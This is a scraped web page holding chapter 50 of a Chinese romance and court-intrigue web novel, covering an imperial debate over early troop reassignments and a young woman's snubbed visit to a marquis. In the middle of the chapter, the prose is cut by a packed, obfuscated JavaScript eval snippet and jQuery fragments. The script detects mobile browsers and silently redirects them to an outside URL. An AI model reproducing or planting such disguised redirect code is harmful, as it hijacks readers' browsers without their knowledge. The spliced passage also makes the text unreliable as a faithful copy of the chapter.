默认冷灰
24号文字
方正启体

50. 第 50 章

作者:帘起本书字数:K更新时间:
    卯时二刻,官员准时到达金銮殿门前,大约半个时辰后,皇帝提前退朝,留重臣到内朝殿议事。


    隆德帝拨弄着手中奏折,片刻后对众人开口,“朕打算提前进行兵部调岗事宜。”


    堂下哗然。


    各州兵员调任是惯例,但眼下距离上次调岗才不过一载,按理来讲不该这么快。


    “去夏大旱,朕已经提前让按察使和兵部那边重调了各州配制,近期葛望已经把文书给朕过目。”


    葛望原先是西北军将,后来累任兵部郎中,深得皇帝器重。


    隆德帝说着把手中簿册递给一旁候着的黄忠,让他一会儿先给底下人看看。


    “这份调兵令给内阁先传阅,无纰漏的话,就这样定下了。”


    魏王早在刚才就如遭雷劈。


    他好好布下的人怎么就忽然要被调走了?


    周盛斟酌须臾,朝上坐道,


    “陛下,每三年一调岗是定制,怎的这会儿突然提前了,臣认为有失妥当。”


    皇帝听到这话面有不悦。


    “早先因为旱灾,户部配粮不均,倒让巡抚查出各州兵员冗杂和缺空,这问题你是忘了吗?”


    周盛面上一白,他怎么不记得这一茬了。


    去年的户部贪粮饷一事后来风声渐小,竟是让他忘记了魏王处境艰难。那贺良前日才刚被抄家,贪污之事收尾到现在,搞的魏王底下的好几个小金库断了供应。


    现在怎么还赶上这档子事儿。


    魏王忍不住额角抽痛,无可奈何地劝阻,“父皇,儿子认为调兵之事不急于一时,尤其是边地的几个州,突然换人怕会搞的军心浮动,再缓几个月更稳妥。”


    “朕原先也是这么打算的,但这事儿已经商议多时,倒谈不上是仓促。更别说底下的那些供需之事了,多耗一天又多又糜费。”


    隆德帝喜欢黄老之学,这些年来宫里也颇为节俭,屡屡缩减开支。


    魏王听这话,以为还有转圜的余地,正想要再次开口,就看到皇帝身旁的葛望出列朝他作揖。


    “魏王忧心国事臣能理解,自然也有考虑到军心这一层。此次调防的只有各地客兵中的高级将领,就拿迳州防区来说,九个卫所,提前调走的只有其中两个总兵而已,其余的万数兵员和战马先不动,等待下次兵调。此番只是制衡一二,调配冗杂,谈不上紊乱军心。”


    葛望原本是武举出身,向来有一两分狷介,尽管为人正直,但总有些格格不入的愚勇,可今日却难得一见的言辞详密,倒让人完全找不出错漏。


    看皇帝似乎眼带赞赏,底下的臣僚也再不敢有意见。


    但魏王现在也顾不上考虑葛望的变化,脑袋一时嗡嗡作响,心底的这最后一点希望也扑灭了,不由恶狠狠盯着人。


    却被葛望巧妙一避。


    皇帝觉得大事已定,便留意了薛授一眼,“薛卿,你的意见呢?”


    薛授向来不混迹于皇子各派,能够独善其身,也是因为和隆德帝师徒有这种心照不宣的默契。


    见此状,当即出列道,“臣认为,正巧上元节各地藩王进京朝贺,赶在此之前安顿下来的确妥当。”


    这话巧妙把群臣眼光都移到了上元朝会和皇宫内宴上,鸿胪寺正卿现在已是恨不得飞奔回衙署处理朝会仪节了,堂中人心浮动,自然也没了一开始议事时候的激越。


    皇帝看到无人反驳,打定主意后挥手道,“既然如此,朕意已决,都退下吧。”


    众臣领旨出宫。


    霍钊出了殿门,心中略定地看向玉阶,显而易见,末端之处正有人驻足,他步履稳健地往走下,衣袂不经意划过庭阶上的龙纹镂雕。


    再停步,正好和即将去官衙的葛望打了个照面,二人对视一眼,心照不宣。


    剩下的,就看那边了……


    自打出宫,魏王还是不敢相信自己辛苦布下的一切就这样打了水漂,直到回了府,面上更是毫不遮掩的气恼。


    “好一个调兵,坏我的大计!”


    一边站着的亲信听到这呵斥战战兢兢,只敢顾左右而言他,“下臣原本已经安排妥当了,可谁知半路来了个程咬金,今日那葛望也不知道受了哪个高人指点,不然我还要参他一本……”


    “现在哪儿有功夫管他受到谁的指点,等我坐上储君之位,再考虑这些不迟。”


    魏王眸中戾色不掩,饮下一口茶水,才将将灭下心底翻滚着的火气。


    “那现在……”


    亲信试探问了一句。


    魏王面沉如水,沉下声音道,


    “不说都安排好了吗,提前一二也不是不可以……”


    .


    殷婉收拾妥当,紧搭着霍钊的后脚离开殷家回到侯府。


    只不过她进门的片刻,有一辆马车也停在了门前。


    那马车装点豪阔,旁边旂牌上写着个“廖”字。


    车里,廖寄柔端坐着,眼底几份忐忑,几份欣喜。


    她伸手招呼丫鬟,另拿了个帖子递给门人。


    大约盏茶功夫,便有人出来迎她,“廖姑娘这边请。”


    廖寄柔掸了掸袖口,温声答应,和衔珠一同进了侯府。


    半道上,她留意到前院有些杂乱,仆役们前前后后地运送木料,泥瓦匠在书房前砌砖。而中厅也是,里里外外都有人在忙活,显然是在整修的样子。


    “这是怎么了?”廖寄柔问。


    带路的人便说,“是老祖宗下了命令,这些日子前院正在修缮,不过工期不长,快修好了。”


    廖寄柔没忍住,“那侯爷呢?没有书房,侯爷怎么处理公务?”


    仆役眉心跳了跳,“侯爷?当然是在后院处理差事啊。方才夫人也说了,会客厅如今不便,得让您绕道去后院。”


    “夫人?我们现在是去见侯夫人?”


    “对啊,侯爷今日有事不在府中。”


    闻言,廖寄柔的手指紧了紧,心中失望极了。


    她原先派人仔仔细细打探过,知道霍钊很少在后院起居办公,今日也是特地要来见霍钊的,哪知道一来二去便成了这样。


    但来都来了,这时候再说不去,太过奇怪。


    廖寄柔硬着头皮继续往前走。


    到了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951608|188368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抱雪院,殷婉正坐在一堆抱枕里挽绣线,看她来了,站起身。


    “廖小姐身子不好,天寒地冻的,怎么突然来了?”


    廖寄柔和她并不相熟,此次没有去文氏那边,反倒是来了她这里,殷婉觉得奇怪,无心问了一句。


    廖寄柔却觉得她是在阴阳怪气,嗓音淡淡道:“先前侯爷对家父有恩,今次正逢年节时候,便想来府里拜会侯爷表达感恩。是出于诚意才来,倒也没有注意天气如何。”


    她觉得殷婉会不好意思,没想到她笑了笑,“廖小姐心诚,可今日侯爷正好去了外城的卫所,不在府中,不如你改日再来。”


    霍钊下朝后一般都会去军营,殷婉根据他的习惯如此推断,坦言告诉了对方。


    可廖寄柔却觉得无比尴尬,用尽力气才保持住自己的体面,


    “那既然这样,我便去趟卫所罢。”


    殷婉好意提醒,“军营纪律严谨,廖小姐记得通禀侯爷一声。”


    廖寄柔点点头,紧跟着告辞,出门坐马车去了外城。


    到了军营,周围士兵姿容谨严,她心里猛地打鼓,想起殷婉的话,便派了个仆役进去一趟。


    彼时,霍钊正在部署西北军人员调度,骤闻有人来找,眉心微拧了拧,“是谁?”


    “是廖家的下人。”


    卫所里有关卡,廖家的下人被拦在了门外,通过重重卫兵才把这话传了进来。


    霍钊的眉头又压得深了些,“什么事?”


    “是……是廖小姐想来找您,说是来表达感谢。”


    “不见!”霍钊沉声道,“这里是什么地方,能让闲杂人等胡乱过来?你们办差真是越来越不当心了!”


    卫兵猛地被呵得吓了一跳,板着脸去了外面,劈头盖脸又把廖家的仆役骂了一通。


    等到那仆役再返回来回禀廖寄柔,已是灰头土脸的。


    “小姐,侯爷说军营重地,不让您过去。”


    不让……


    这下廖寄柔面红耳赤,那仆役却是个愣的,说着还在继续喋喋不休,“军营里的人说侯爷等闲不见外人,更不让闲杂人等进去……”


    他嗓门大,周围士兵都看了过来。


    “好了,别说了!”廖寄柔彻底失了颜面,恶狠狠瞪了仆役一眼,悻悻领人走了。


    回去的路上廖寄柔一直在想,为何殷婉不提前告诉她,让她不要白去一趟。


    恰好这时候衔珠也说,“姑娘,那侯夫人是个精明的,说了那样的话,却不提前告知咱们不要去,搞得在您最后在侯爷那得了个没脸。”


    “我自然知道军营的规矩”,廖寄柔喃喃地攥紧袖口,“倘若她不说让咱们通禀侯爷,我定不会贸然前去。”


    衔珠忐忑地瘪瘪嘴,“您说,先前您派人传谣言的事儿……侯夫人是不是知道了?”


    月余前,廖寄柔探得霍钊和殷婉关系不佳,在侯府去成华寺之后,派了几个家丁在剧院茶馆故意闲谈,当时京中流言四起,她到现在还有些后怕。


    所以,殷氏是故意的?


    廖寄柔的眼神慢慢沉了下来,眸底越来越暗。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)